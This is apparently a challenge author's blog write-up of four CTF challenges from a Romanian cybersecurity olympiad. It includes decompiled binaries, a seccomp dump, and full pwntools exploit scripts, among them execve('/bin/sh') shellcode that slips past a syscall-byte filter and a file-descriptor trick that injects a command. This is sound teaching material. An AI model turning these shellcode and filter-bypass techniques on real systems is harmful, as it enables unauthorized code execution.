I proposed 4 challenges for this years romanian cybersecurity olympiad, in this blog I’ll share some solve paths for all of them.

Eu strivesc corola de minuni (pwn) - 1 solve

The binary had just a shellcode runner

int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+8h] [rbp-18h]

  setvbuf(stream: _bss_start, buf: 0LL, modes: 2, n: 0LL);
  buf = mmap(addr: 0LL, len: 0x1000uLL, prot: 7, flags: 34, fd: -1, offset: 0LL);
  if ( buf == (void *)-1LL )
    die(unk: "mmap");
  puts(s: "a");
  read(fd: 0, buf, nbytes: 0x1000uLL);
  install_filter();
  ((void (*)(void))buf)();
  return 0;
}

The challenge also contained a Dockerfile for setup

# Dockerfile
FROM ubuntu:24.04

ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends socat gdb \
 && rm -rf /var/lib/apt/lists/*


RUN useradd -m -u 3000 pwn
WORKDIR /home/pwn

RUN printf '#!/bin/bash\nexec 9<>"$0"\nexec ./eu_strivesc_corola_de_minuni' > start.sh \
 && chown pwn:pwn start.sh

# Copy challenge artifacts (loader+libc are REQUIRED here)
COPY --chown=pwn:pwn eu_strivesc_corola_de_minuni ./eu_strivesc_corola_de_minuni
COPY --chown=pwn:pwn flag ./flag

RUN chmod 555 ./eu_strivesc_corola_de_minuni \
 && chmod 777 ./start.sh \ 
 && chmod 444 ./flag

USER pwn


EXPOSE 1337
CMD socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./start.sh,stderr

Seeing a seccomp filter is installed via install_filter, we can dump using seccomp-tools dump ./eu_strivesc_corola_de_minuni

=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x80000000  return KILL_PROCESS
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x80000000  return KILL_PROCESS

Just looking at the binary and seccomp, it appears to be an impossible challenge, as you need to have open to open+read+write files; this means we have to look in the Dockerfile.

We can see the binary is not run directly; a start.sh is used

RUN printf '#!/bin/bash\nexec 9<>"$0"\nexec ./eu_strivesc_corola_de_minuni' > start.sh \
 && chown pwn:pwn start.sh

It has a pretty weird syntax. What it does is open the file $0 (start.sh) to file descriptor 9. This can be confirmed using ls /proc/<pid>/fd.

Ok, so now we have write in start.sh because it is open, we can use that to place a command, then trigger a new connection to the server to get the flag.

This was the solver

from pwn import *
import struct

context.log_level = 'debug'
context.binary = binary = './eu_strivesc_corola_de_minuni'
elf = ELF(binary)
host, port = '127.0.0.1',1337


def newp():
  if args.REMOTE:
    return remote(host, port)
  return process('./start.sh')


p = newp()


aaaa = asm('''
mov rcx, 0x0a6761
push rcx
mov rcx, 0x6c662f2e20746163
push rcx
push rsp
pop rsi
mov rdx, 11
mov rdi, 9
mov rax, 1
syscall
''')

p.sendlineafter(b'10\n', aaaa)

p.close()

p = newp()
p.interactive()

Boogie Woogie (pwn) - 0 solve

This challenge was a bit harder, and the binary was bigger as well. These were the main parts of it

__int64 __fastcall hexval(char a1)
{
  _BYTE var4[4]; // [rsp+0h] [rbp+0h]

  var4[-4] = a1;
  if ( var4[-4] > 0x2Fu && var4[-4] <= 0x39u )
    return (unsigned int)(unsigned __int8)var4[-4] - 48;
  if ( var4[-4] > 0x60u && var4[-4] <= 0x66u )
    return (unsigned int)(unsigned __int8)var4[-4] - 87;
  if ( var4[-4] <= 0x40u || var4[-4] > 0x46u )
    return 0xFFFFFFFFLL;
  return (unsigned int)(unsigned __int8)var4[-4] - 55;
}

__int64 __fastcall hex_decode(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 v2; // rax
  unsigned __int64 v4; // rax
  size_t v5; // rax
  int v6; // [rsp+18h] [rbp-18h]
  int v7; // [rsp+1Ch] [rbp-14h]
  unsigned __int64 v8; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+20h] [rbp-10h]
  size_t n; // [rsp+28h] [rbp-8h]

  v8 = 0LL;
  n = 0LL;
  while ( v8 < a2 && *(_BYTE *)(a1 + v8) != 10 )
  {
    v2 = v8;
    v9 = v8 + 1;
    v6 = hexval(unk: *(unsigned __int8 *)(a1 + v2));
    if ( v6 < 0 )
      return -1LL;
    if ( v9 >= a2 )
      return -1LL;
    if ( *(_BYTE *)(a1 + v9) == 10 )
      return -1LL;
    v4 = v9;
    v8 = v9 + 1;
    v7 = hexval(unk: *(unsigned __int8 *)(a1 + v4));
    if ( v7 < 0 )
      return -1LL;
    v5 = n++;
    *(_BYTE *)(a1 + v5) = v7 | (16 * v6);
  }
  memset(s: (void *)(a1 + n), c: 0, n);
  return n;
}

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+4h] [rbp-22Ch]
  ssize_t v5; // [rsp+8h] [rbp-228h]
  __int64 v6; // [rsp+10h] [rbp-220h]
  _QWORD *v7; // [rsp+18h] [rbp-218h]
  _QWORD buf[66]; // [rsp+20h] [rbp-210h] BYREF

  buf[65] = __readfsqword(0x28u);
  init(unk: argc, unk: argv, unk: envp);
  puts(s: "a");
  v5 = read(fd: 0, buf, nbytes: 0x20uLL);
  v6 = hex_decode(unk: buf, unk: v5);
  if ( v6 <= 0 )
    exit(status: 1);
  for ( i = 0; v6 > i; ++i )
  {
    if ( *((_BYTE *)buf + i) == 15
      || *((_BYTE *)buf + i) == 5
      || *((_BYTE *)buf + i) == 0xCD
      || *((_BYTE *)buf + i) == 0x80
      || *((_BYTE *)buf + i) == 52 )
    {
      exit(status: 1);
    }
  }
  puts(s: "goog");
  v7 = mmap(addr: 0LL, len: 0x1000uLL, prot: 3, flags: 34, fd: -1, offset: 0LL);
  *v7 = buf[0];
  v7[63] = buf[63];
  qmemcpy(
    (void *)((unsigned __int64)(v7 + 1) & 0xFFFFFFFFFFFFFFF8LL),
    (const void *)((char *)buf - ((char *)v7 - ((unsigned __int64)(v7 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
    8LL * ((((_DWORD)v7 - (((_DWORD)v7 + 8) & 0xFFFFFFF8) + 512) & 0xFFFFFFF8) >> 3));
  if ( mprotect(addr: v7, len: 0x1000uLL, prot: 5) < 0 )
    exit(status: 1);
  ((void (*)(void))v7)();
  return 0;
}

After the first sight, you can see that you have 0x20 hex bytes, which are decoded to 0x10 bytes of shellcode, which in turn is checked for any syscall bytes.

v5 = read(fd: 0, buf, nbytes: 0x20uLL);
  v6 = hex_decode(unk: buf, unk: v5);
  if ( v6 <= 0 )
    exit(status: 1);
  for ( i = 0; v6 > i; ++i )
  {
    if ( *((_BYTE *)buf + i) == 15
      || *((_BYTE *)buf + i) == 5
      || *((_BYTE *)buf + i) == 0xCD
      || *((_BYTE *)buf + i) == 0x80
      || *((_BYTE *)buf + i) == 52 )
    {
      exit(status: 1);
    }
  }

This shellcode is also ran in a rx memory page which makes us not be able to use self modify shellcode attacks

v7 = mmap(addr: 0LL, len: 0x1000uLL, prot: 3, flags: 34, fd: -1, offset: 0LL);
*v7 = buf[0];
v7[63] = buf[63];
qmemcpy(
  (void *)((unsigned __int64)(v7 + 1) & 0xFFFFFFFFFFFFFFF8LL),
  (const void *)((char *)buf - ((char *)v7 - ((unsigned __int64)(v7 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
  8LL * ((((_DWORD)v7 - (((_DWORD)v7 + 8) & 0xFFFFFFF8) + 512) & 0xFFFFFFF8) >> 3));
if ( mprotect(addr: v7, len: 0x1000uLL, prot: 5) < 0 )

In addition, the libc is not provided, so any jumping to functions in libc is not possible.

The bug was actually in how the hex_decode is used, as you can see it stops in \n, and only the parsed bytes are checked for syscalls; however, the memcpy copies the whole array, meaning we can place a hex encoded short jump, then \n, then some shellcode and that shellcode won’t be checked for syscalls

Final script

from pwn import *
import struct

context.log_level = 'debug'
context.binary = binary = './boogie_woogie'
elf = ELF(binary)
host, port = '127.0.0.1',1337

def newp():
  if args.REMOTE:
    return remote(host, port)
  return process(elf.path)

rel_jump = '''
jmp $+5
'''
rel_jump = asm(rel_jump)

shellcode = '''
xor eax, eax
mov rdx, rax
xor al, 0x3b

xor rsi, rsi
xor rdi, 0x15
syscall
'''
shellcode = asm(shellcode)

p = newp()

p.sendline(rel_jump.hex().encode() + b'\n' + shellcode + b'/bin/sh\x00')

p.interactive()

discombobul8 (rev) - 0 solves

In this challenge, we are given a wasm module and are told it was used in a pwn attack (useful hint for later).

Since the assembly module is in decimal, we can write it to a file just like this

a = bytes([0,97,115,109,1,0,0,0,1,7,2,96,0,0,96,0,0,3,3,2,0,1,5,3,1,0,2,6,42,7,127,0,65,128,8,11,127,0,65,128,8,11,127,0,65,160,14,11,127,0,65,128,8,11,127,0,65,160,142,4,11,127,0,65,0,11,127,0,65,1,11,7,130,1,10,6,109,101,109,111,114,121,2,0,1,103,3,0,12,95,95,100,115,111,95,104,97,110,100,108,101,3,1,10,95,95,100,97,116,97,95,101,110,100,3,2,13,95,95,103,108,111,98,97,108,95,98,97,115,101,3,3,11,95,95,104,101,97,112,95,98,97,115,101,3,4,13,95,95,109,101,109,111,114,121,95,98,97,115,101,3,5,12,95,95,116,97,98,108,101,95,98,97,115,101,3,6,17,95,95,119,97,115,109,95,99,97,108,108,95,99,116,111,114,115,0,0,4,102,117,110,99,0,1,10,201,4,2,3,0,1,11,194,4,0,65,128,8,66,186,245,190,247,219,213,247,155,19,55,3,0,65,136,8,66,184,201,128,130,128,128,228,245,9,55,3,0,65,144,8,66,200,138,244,233,131,128,192,245,9,55,3,0,65,152,8,66,208,240,238,129,147,136,206,245,9,55,3,0,65,160,8,66,200,138,196,137,147,166,204,245,9,55,3,0,65,168,8,66,200,130,131,135,178,150,192,245,9,55,3,0,65,176,8,66,200,138,132,234,226,231,203,245,9,55,3,0,65,184,8,66,200,138,200,145,163,198,204,245,9,55,3,0,65,192,8,66,208,240,134,226,242,134,207,245,9,55,3,0,65,200,8,66,200,138,204,153,179,230,204,245,9,55,3,0,65,208,8,66,200,130,131,135,178,182,192,245,9,55,3,0,65,216,8,66,200,138,136,234,226,167,203,245,9,55,3,0,65,224,8,66,200,138,208,161,195,134,205,245,9,55,3,0,65,232,8,66,208,240,170,225,242,133,204,245,9,55,3,0,65,240,8,66,200,138,212,169,211,166,205,245,9,55,3,0,65,248,8,66,200,130,131,135,178,214,192,245,9,55,3,0,65,128,9,66,200,138,228,153,244,133,207,245,9,55,3,0,65,136,9,66,200,138,216,177,227,198,205,245,9,55,3,0,65,144,9,66,208,240,162,241,242,230,204,245,9,55,3,0,65,152,9,66,200,138,220,185,243,230,205,245,9,55,3,0,65,160,9,66,200,130,131,135,178,246,192,245,9,55,3,0,65,168,9,66,200,138,216,185,226,135,192,245,9,55,3,0,65,176,9,66,200,138,224,193,131,135,206,245,9,55,3,0,65,184,9,66,208,240,238,129,227,132,207,245,9,55,3,0,65,192,9,66,200,138,228,201,147,167,206,245,9,55,3,0,65,200,9,66,200,130,131,135,178,150,193,245,9,55,3,0,65,208,9,66,200,138,172,169,178,165,206,245,9,55,3,0,65,216,9,66,200,138,232,209,163,199,206,245,9,55,3,0,65,224,9,66,208,240,174,185,227,164,206,245,9,55,3,0,65,232,9,66,200,138,236,217,179,231,206,245,9,55,3,0,65,240,9,66,200,130,131,135,178,182,193,245,9,55,3,0,65,248,9,66,200,138,156,192,161,225,207,245,9,55,3,0,65,128,10,66,200,138,240,225,195,135,207,245,9,55,3,0,65,136,10,66,208,144,165,188,142,146,228,245,9,55,3,0,65,144,10,66,177,236,199,145,141,146,228,245,9,55,3,0,65,152,10,66,177,128,195,221,243,161,193,245,9,55,3,0,11,0,33,4,110,97,109,101,1,26,2,0,17,95,95,119,97,115,109,95,99,97,108,108,95,99,116,111,114,115,1,4,102,117,110,99])
print(a)

open('a.wasm','wb').write(a)

We can then parse this with any CLI tool / decompiler, the binary has only one function called func, which was doing some stores

i64.store 0x400, 0x1337DEADBEEFBABA
i64.store 0x408, 0x9EB9000004024B8
i64.store 0x410, 0x9EB00003D3D0548
i64.store 0x418, 0x9EB3841303BB850
i64.store 0x420, 0x9EB313131310548
i64.store 0x428, 0x9EB00B320E0C148
i64.store 0x430, 0x9EB2F3E2D410548
i64.store 0x438, 0x9EB323232320548
i64.store 0x440, 0x9EB3C372C41B850
i64.store 0x448, 0x9EB333333330548
i64.store 0x450, 0x9EB01B320E0C148
i64.store 0x458, 0x9EB2D3E2D420548
i64.store 0x460, 0x9EB343434340548
i64.store 0x468, 0x9EB302F2C2AB850
i64.store 0x470, 0x9EB353535350548
i64.store 0x478, 0x9EB02B320E0C148
i64.store 0x480, 0x9EB3C2F43390548
i64.store 0x488, 0x9EB363636360548
i64.store 0x490, 0x9EB33372E28B850
i64.store 0x498, 0x9EB373737370548
i64.store 0x4A0, 0x9EB03B320E0C148
i64.store 0x4A8, 0x9EB003E27360548
i64.store 0x4B0, 0x9EB383838380548
i64.store 0x4B8, 0x9EB3C26303BB850
i64.store 0x4C0, 0x9EB393939390548
i64.store 0x4C8, 0x9EB04B320E0C148
i64.store 0x4D0, 0x9EB392B252B0548
i64.store 0x4D8, 0x9EB3A3A3A3A0548
i64.store 0x4E0, 0x9EB3926372BB850
i64.store 0x4E8, 0x9EB3B3B3B3B0548
i64.store 0x4F0, 0x9EB05B320E0C148
i64.store 0x4F8, 0x9EB3F0A18070548
i64.store 0x500, 0x9EB3C3C3C3C0548
i64.store 0x508, 0x9EB9090E7894850
i64.store 0x510, 0x9EB9090D231F631
i64.store 0x518, 0x9EB050F3BB0C031

Since this is mentioned to be a pwn attack, we can expect those numbers to be shellcode bytes. Testing with the first, we can see it is shellcode (we are skipping the obvious deadbeef)

>>> from pwn import *
>>> disasm(p64(0x9EB9000004024B8))
'   0:   b8 24 40 00 00          mov    eax, 0x4024\n   5:   90                      nop\n   6:   eb 09                   jmp    0x11'

From here, it can be analysed manually pretty easily, as it just does add, you were also provided with a d8 instance in case you wanted to run it dynamically.

Since the manual analysis is easier, I’ll explain that.

We can disassemble the shellcode with this script

from pwn import *
a = open('a.txt','r').readlines()
for line in a:
  line = int(line.strip().split(', ')[1],16)
  line = disasm(p64(line))
  print(line)

rax seems to be where the flag is stored, considering all operations are performed on it.

0:   b8 24 40 00 00          mov    eax, 0x4024
5:   90                      nop
6:   eb 09                   jmp    0x11
0:   48                      dec    eax
1:   05 3d 3d 00 00          add    eax, 0x3d3d
6:   eb 09                   jmp    0x11
0:   50                      push   eax
1:   b8 3b 30 41 38          mov    eax, 0x3841303b
6:   eb 09                   jmp    0x11
0:   48                      dec    eax
1:   05 31 31 31 31          add    eax, 0x31313131

We can parse the mov and the add operations to get the flag

from pwn import *
a = open('shellcode.txt','r').readlines()

flag = b''
cur = 0
ok = 0
for line in a:
  line = line.strip()
  if ('mov' in line and 'eax' in line) or ('add' in line and 'eax' in line):
    print(line)
    cur += int(line.split(', ')[1],16)
    if ok == 0:
      ok = 1
    else:
      cur = p64(cur).replace(b'\x00',b'')
      print(cur)
      flag += cur[::-1]
      cur = 0
      ok =0

print(flag[::-1])

0_solves (crypto) - 0 solves

This was supposed to be a challenge about figuring out what encryption is used and searching for public attacks on it

import secrets
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes

with open("flag.txt", "rb") as f:
    flag = bytes_to_long(f.read())

n = 50
m = flag.bit_length()
assert n < m

p = getPrime(512)
weights = [secrets.randbelow(p) for _ in range(n)]

flag_row = secrets.randbelow(n)
flag_matrix = [[secrets.randbelow(2) for _ in range(m)] for _ in range(n)]
flag_matrix[flag_row] = [(flag >> i) & 1 for i in range(m)]

sums = [
    sum(weights[i] * flag_matrix[i][j] for i in range(n)) % p
    for j in range(m)
]

print(f'{p = }')
print(f'{sums = }')

Someone who has been playing ctfs for a few months should be able to easily recognise this as a knapsack / subset sum problem challenge, however this one is a bit different, as the weights are not given.

Searching on google for something like hidden weights subset sum writeup ctf, our first link is this ctftime writeup -> https://ctftime.org/writeup/32586

We now go to the original one at https://github.com/pcw109550/write-up/tree/master/2022/zer0pts/Karen

Then the solver can just be run for the flag.